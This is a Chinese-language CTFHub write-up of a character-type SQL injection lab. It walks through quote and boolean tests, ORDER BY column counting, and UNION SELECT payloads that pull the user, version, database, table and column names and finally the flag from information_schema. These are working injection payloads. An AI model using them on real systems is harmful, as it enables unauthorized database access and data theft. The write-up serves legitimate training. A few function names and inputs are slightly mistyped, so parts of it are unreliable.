CTFHub | web—SQL注入(字符型注入)
字符型注入
一、题目:
二、小知识
MySQL数据库常用内置函数
- 查看当前连接数据库的用户:user()
- 查看当前数据库名:database()
- 查看数据库版本:version()
- 用户:@@hostname
- 数据库的存储位置:@@datadir
- 查看服务器的操作系统:@@version_compile_os
- 无间隔连接两个字符串并传入数据库:concat(str1, str2)
例如:select concat(name, password) from user - group_concat(str1, str2) 将多行结果以逗号分隔全部输出
- group_ws(‘分隔符’, str1, str2) 用分隔符连接两个字段的字符串
其他
- 在MySQL中,schema是数据库,schemata表提供有关数据库的信息。
- select schema_name from information_schema.schemata;等价于show databases;
- table_schema, table_name等分别是information_schema信息库的字段名
三、题解:
先输入1看看
有单引号
1. 判断是否存在注入
1. 加单引号 ’
输入:1’’
无法执行,因为加单引号后变成了三个单引号,最后一个单引号无法成对,所以语句执行失败
2. 输入:’ and 1=1
注意,–注释符后边有一个空格
因此,构造语句为:select * from table where name =’admin’ and 1=1 – ’ 可成功执行返回结果;
此时仍然无法注入
3. 加 ’and 1=2 –
此时sql语句为:select * from table where name=’admin’ and 1=2 --’ 则会报错
前段总结
如果满足以上三点,可以判断该url为字符型注入。
服务端的sql语句为:select 列 from 数据库.表 where name=‘$name’
2. 判断字段数(即表列数)
order by 列名
列名可以用列的序号(数字)表示
输入:1’ order by 数字
当无法正常显示时,说明字段数小于该数
3无显示,所以字段数(即列数)为2
3. 判断显示信息是第几列
输入:’ union select 1,2 – ’
说明显示的信息在第二列
4. 收集数据库信息(union联合查询)
查询用户权限
输入:’ union select 1, user() – ’
结果是root用户,说明可访问mysql自带的数据库information_schema,里面有我们想要的数据库名,表名,列名等
爆库
查数据库类型
输入:’ union select 1, version() – ’
查询结果为:MariaDB,是Mysql的一个分支,可以用mysql查询语句
查当前数据库名(爆库)
输入:’ union select 1, database() – ’
当前数据库为:sqli
ps: 如果要查所有数据库名
输入:’ union select 1, group_concat(schema_name) from information_schema.schemata – ’
有information_schema,performance_schema,mysql,sqli
ps:如果要查数据库中表的个数
输入:’ union select table_schema, count(*) from information_schema.tables – ’
查询结果有161个表
查sqli中的表名
输入:’ union select table_schema, group_concat(table_name) from information_schema.tables where table_schema=‘sqli’ – ’
查列名
输入:’ union select 1, (select column_name from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ limit 0,1) – ’
查询对应结果
输入:’ union select 1, group_concat(flag) from sqli.flag – ’
成功找到flag!